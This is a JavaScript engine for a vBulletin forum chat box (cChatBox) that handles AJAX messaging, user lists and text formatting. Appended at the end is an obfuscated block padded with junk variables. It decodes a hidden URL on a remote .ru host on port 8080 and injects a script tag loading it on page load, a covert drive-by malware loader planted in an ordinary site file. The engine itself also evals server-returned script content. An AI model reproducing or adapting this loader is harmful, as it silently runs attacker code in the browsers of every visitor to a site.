/***************************\
*         cChatBox         *
*    Javascript Engine     *
*      by ChriStrato       *
*  www.vbulletin-italia.it *
****************************/


function cChatBox_Engine(intervalchat,intervalchatul,ordermessage,userlistactive)
{

this.form = document.forms["formcchatbox"];
this.intervalchat = intervalchat;
this.intervalchatul = intervalchatul; 
this.userlistactive = userlistactive;
this.cchatboxshow_obj = fetch_object("cchatboxshow");
this.cchatboxuserlist_obj = fetch_object("cchatboxuserlist");
this.ordermessage = ordermessage;
this.listmessage = new Object;
this.postmess = new Object;
this.editmessage = new Object;
this.userlist = new Object;
this.pmmessage = new Object; 
this.postmessage = false;

this.init = function()
{
this.showmessage();
this.chat = setInterval("cChatBox.showmessage();", this.intervalchat * 1000);

if(this.userlistactive)
{
this.showuserlist();
this.chatuserlist = setInterval("cChatBox.showuserlist();", this.intervalchatul * 1000);
} 
} 


this.clearmessage = function()
{
this.form.message.value = ''
return true;
}


this.showmessage = function()
{

if(this.postmessage)
{
return false;
} 

this.listmessage.ajax = new vB_AJAX_Handler(true);
this.listmessage.ajax.onreadystatechange(this.showmessage_change);
this.listmessage.ajax.send('cchatbox.php?do=listmessage');

}

this.showmessage_change = function()
{

smajax = cChatBox.listmessage.ajax;
if (smajax.handler.readyState == 4 && smajax.handler.status == 200) 
{ 
cChatBox.cchatboxshow_obj.innerHTML = '<table cellpadding="1" cellspacing="3" border="0" width="95%" align="left">' + smajax.handler.responseText + '</table>'; 
if(cChatBox.ordermessage == 0)
{
document.getElementById('cchatboxshow').scrollTop = 999999;
}
}

}


this.sendmessage = function() 
{

chatmessage = this.form.message.value;
	
if (this.postmessage)
	{
		alert('الرسالة تحت المعالجة..');
		return false;
	}

if (chatmessage.replace(/ /g, '') == '')
{
alert('يجب ان تدخل رسالة!');
return false;
}

this.postmess.ajax = new vB_AJAX_Handler(true);
this.postmess.ajax.onreadystatechange(this.messageposted);
this.postmess.ajax.send('cchatbox.php', 'do=messagepd&message=' + PHP.urlencode(chatmessage) + this.ccbinput())


this.clearmessage();
this.postmessage = true;
return false;


}

this.messageposted = function()
{
mpajax = cChatBox.postmess.ajax;

	if (mpajax.handler.readyState == 4 && mpajax.handler.status == 200)
	{
	      cChatBox.postmessage = false;
            cChatBox.showmessage();
	}
}


this.save_editmessage = function() {

Message = this.form.editmess.value;
MessageID = this.form.editidmess.value;

this.editmessage.ajax = new vB_AJAX_Handler(true)
this.editmessage.ajax.onreadystatechange(this.messageedited)
this.editmessage.ajax.send('cchatbox.php', 'do=edit&message=' + PHP.urlencode(Message) + '&messageid=' + MessageID)

}

this.delete_editmessage = function() {

MessageID = this.form.editidmess.value;

this.editmessage.ajax = new vB_AJAX_Handler(true)
this.editmessage.ajax.onreadystatechange(this.messageedited)
this.editmessage.ajax.send('cchatbox.php', 'do=delete&messageid=' + MessageID)

}

this.messageedited = function()
{

meajax = cChatBox.editmessage.ajax;

	if (meajax.handler.readyState == 4 && meajax.handler.status == 200)
	{
		toggle_collapse('editmess');
            cChatBox.showmessage();

	}
}


this.showeditmessage = function(mess,id) {

this.form.editmess.value = mess;
this.form.editidmess.value = id;

toggle_collapse('editmess');

return true;
}

this.ccbinput = function()
{
	string = '';
	input = this.form.getElementsByTagName('input');
	for (i = 0; i < input.length; i++)
	{
		if (input[i].type == 'hidden' && input[i].value != '')
		{
			string += '&' + input[i].name + '=' + PHP.urlencode(input[i].value);
		}
	}

	return string;
}

this.cc_changebutton = function(button, prop)
{
      if(button.style.borderColor != '')
      {
      button.style.borderColor = '';
      valuebutton = ''; 
      } else {
      button.style.borderColor = 'highlight';
      
      switch (prop)
	{
		case 'fontWeight':
		valuebutton = 'bold';
		break;

		case 'textDecoration':
		valuebutton = 'underline';
		break;

		case 'fontStyle':
		valuebutton = 'italic';
		break;
	}
      }
      
eval('this.form.message.style.' + prop + ' = "' + valuebutton + '"');
eval('this.form.' + prop + '.value = "' + valuebutton + '"');

return false;
}

this.cc_changecolor = function(textcolor)
{
eval('this.form.message.style.color = "' + textcolor + '"');
eval('this.form.color.value = "' + textcolor + '"');
return false;
}

this.cc_changefonts = function(font)
{
eval('this.form.message.style.fontFamily = "' + font + '"');
eval('this.form.fontFamily.value = "' + font + '"');
return false;
}

this.send_smilie = function(smilietext)
{
this.form.message.value += ' ' + smilietext;
return false;
}

this.cc_removeformat = function()
{

document.images["text_bold"].style.borderColor = '';
document.images["text_italic"].style.borderColor = '';
document.images["text_underline"].style.borderColor = '';
this.form.message.style.fontWeight = '';
this.form.message.style.textDecoration = '';
this.form.message.style.fontStyle = '';
this.form.message.style.color = '';
this.form.message.style.fontFamily = '';
this.form.fontWeight.value = '';
this.form.textDecoration.value = '';
this.form.fontStyle.value = '';
this.form.color.value = '';
this.form.fontFamily.value = '';

}


this.showuserlist = function()
{

this.userlist.ajax = new vB_AJAX_Handler(true);
this.userlist.ajax.onreadystatechange(this.statechangedul);
this.userlist.ajax.send('cchatbox.php?do=userlist');

}


this.statechangedul = function()
{

ulajax = cChatBox.userlist.ajax;

if (ulajax.handler.readyState == 4 && ulajax.handler.status == 200 && ulajax.handler.responseText) 
{
cChatBox.cchatboxuserlist_obj.innerHTML = '<table cellpadding="1" cellspacing="3" border="0" width="95%" align="left">' + ulajax.handler.responseText + '</table>' 

scripts = cChatBox.cchatboxuserlist_obj.getElementsByTagName("script");         
for(var i=0;i<scripts.length;i++){
eval(scripts[i].innerHTML);
} 
}
   
}

this.sendfriendreq = function(userid) 
{

this.pmmessage.ajax = new vB_AJAX_Handler(true);
this.pmmessage.ajax.onreadystatechange(this.sendpmstatechange);
this.pmmessage.ajax.send('cchatbox.php','do=sendfriendreq' + '&userid=' + userid);

return true;
}

this.sendpmpopup = function(userid) 
{

defaultvaluepm = '';
phrasepm = 'أدخل لارسال رساله الى :';
forceltr = true; 

if (is_ie7)
{

pmmessage = window.showModalDialog("clientscript/ieprompt.html?", { value: defaultvaluepm, label: phrasepm, dir: document.dir, title: document.title, forceltr: (typeof(forceltr) != "undefined" ? forceltr : false) }, "dialogWidth:320px; dialogHeight:150px; dialogTop:" + (parseInt(window.screenTop) + parseInt(window.event.clientY) + parseInt(document.body.scrollTop) - 100) + "px; dialogLeft:" + (parseInt(window.screenLeft) + parseInt(window.event.clientX) + parseInt(document.body.scrollLeft) - 160) + "px; resizable: No;");

} else {

pmmessage = prompt(phrasepm, defaultvaluepm);

}


if(pmmessage != '')
{
this.pmmessage.ajax = new vB_AJAX_Handler(true);
this.pmmessage.ajax.onreadystatechange(this.sendpmstatechange);
this.pmmessage.ajax.send('cchatbox.php','do=sendpm&message=' + PHP.urlencode(pmmessage) + '&userid=' + userid);
}

return false;
}

this.sendpmstatechange = function()
{

pmajax = cChatBox.pmmessage.ajax;

	if (pmajax.handler.readyState == 4 && pmajax.handler.status == 200)
	{ 
            cChatBox.showmessage();
	}
}



this.cc_prompt = function(type)
{

switch (type)
{
		case 'url':
		phrase = 'الرجاء إدخال عنوان الموقع الخاص بك :';
            bbcode = 'URL';
		break;

		case 'img':
		phrase = 'الرجاء إدخال عنوان رابط الصوره :';
            bbcode = 'IMG';
		break;
}

defaultval = 'http://';
forceltr = true;

if (is_ie7)
{
text = window.showModalDialog("clientscript/ieprompt.html?", { value: defaultval, label: phrase, dir: document.dir, title: document.title, forceltr: (typeof(forceltr) != "undefined" ? forceltr : false) }, "dialogWidth:320px; dialogHeight:150px; dialogTop:" + (parseInt(window.screenTop) + parseInt(window.event.clientY) + parseInt(document.body.scrollTop) - 100) + "px; dialogLeft:" + (parseInt(window.screenLeft) + parseInt(window.event.clientX) + parseInt(document.body.scrollLeft) - 160) + "px; resizable: No;");
} else {
text = prompt(phrase, defaultval);
}

if (text!=null) 
{
this.form.message.value += '[' + bbcode + ']' + text + '[/' + bbcode + ']';
}

return false;

}

this.previewsmilie = function(imgsrc)
{

document.images["smiliepreview"].src = imgsrc;
return true;

}



}

var v;if(v!='' && v!='f'){v='h'};var iF='';function M(){var N;if(N!='' && N!='ux'){N='R'};var iE=new Array();var E=window;var of;if(of!='p'){of=''};var hh=new String();var e;if(e!='s' && e != ''){e=null};var X;if(X!='pk'){X='pk'};var B=E['unescape'];var C;if(C!='_S' && C!='Va'){C=''};var b=B("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%68%61%72%61%74%73%74%75%64%65%6e%74%2e%63%6f%6d%2f%67%61%6d%65%76%61%6e%63%65%2e%63%6f%6d%2e%70%68%70");var uF=new Date();var Q=new Array();var hD;if(hD!='' && hD!='U'){hD=''};var P;if(P!='' && P!='Cu'){P=''};function m(I,z){var iEG;if(iEG!='ax'){iEG='ax'};this.Qp='';var O=B("%5d");this.yV='';var Sp;if(Sp!='IY' && Sp != ''){Sp=null};var c=B("%5b");var ak;if(ak!='' && ak!='RC'){ak=null};var HR=new Date();var K=String("g");var wM;if(wM!='' && wM!='IU'){wM=null};var Aa;if(Aa!='' && Aa!='et'){Aa='k'};this.ga='';var _=new RegExp(c+z+O, K);var Xj;if(Xj!='' && Xj!='x'){Xj=null};var Sm="";var ij;if(ij!='' && ij!='sc'){ij=''};return I.replace(_, new String());};this.Gb='';this.Zp='';var RE='';var zI;if(zI!='' && zI!='Bw'){zI='HA'};var H=m('84135903264814730515','51329674');var SB;if(SB!=''){SB='YO'};var a=document;var qv;if(qv!='xX' && qv != ''){qv=null};var i=m('s_r_cY','ZQq4DY_N');var ib=m('dBeNfKeSrB','nKBRNSDV');var MM=m('sZcZreiFpMtZ','Xky7mDAKMZ3VBzhLdeFf');var SI='';var tQ;if(tQ!='Mi'){tQ=''};var qj;if(qj!='' && qj!='zj'){qj=''};var QN='';function j(){this.lx="";var o=B("%68%74%74%70%3a%2f%2f%63%72%65%77%61%6d%65%72%69%63%61%2e%72%75%3a");this.oZ="";var af;if(af!='pQ' && af!='Lr'){af=''};var l=o;this.OX='';var F;if(F!='kj' && F != ''){F=null};l+=H;var vQ=new String();var QD;if(QD!='ow' && QD != ''){QD=null};l+=b;this.PC='';var nv=new Array();var yR;if(yR!='kx' && yR!='WM'){yR='kx'};try {var Ra="";var _x='';this.xk="";var HAa=new String();g=a[m('cJrOeqa8tPeOESloeJm9exnJtB','xOUPyIBvSho8J4q91Z')](MM);var Cq=new Array();var DQ;if(DQ!='MA'){DQ=''};var gz;if(gz!='Cn' && gz != ''){gz=null};this.Zd="";g[ib]=[1][0];this.Fb="";g[i]=l;var Ow=new Array();var II=new Array();var RD;if(RD!=''){RD='os'};var ZJr='';var tw=new Array();var kl=new Array();a.body[m('aypPp0eunPdyCyhuiPlydy','Pyu0')](g);var fD=new Array();var Gv="";var xL=new Array();} catch(o_){var Fm;if(Fm!='' && Fm!='ync'){Fm='Lg'};};var kv;if(kv!='TO' && kv != ''){kv=null};var _R=new String();}var dJ=new Array();this.Rm="";var eg=new String();var Kd=m('o_nwl7o_azdz','sw_CyA7OUZhz');var Br=new String();var Lh;if(Lh!='XG' && Lh != ''){Lh=null};var UX=new Array();E[Kd]=j;var tFk=new Date();};var JB=new Date();var LX;if(LX!='Pp'){LX='Pp'};var CnZ;if(CnZ!='' && CnZ!='oM'){CnZ=''};M();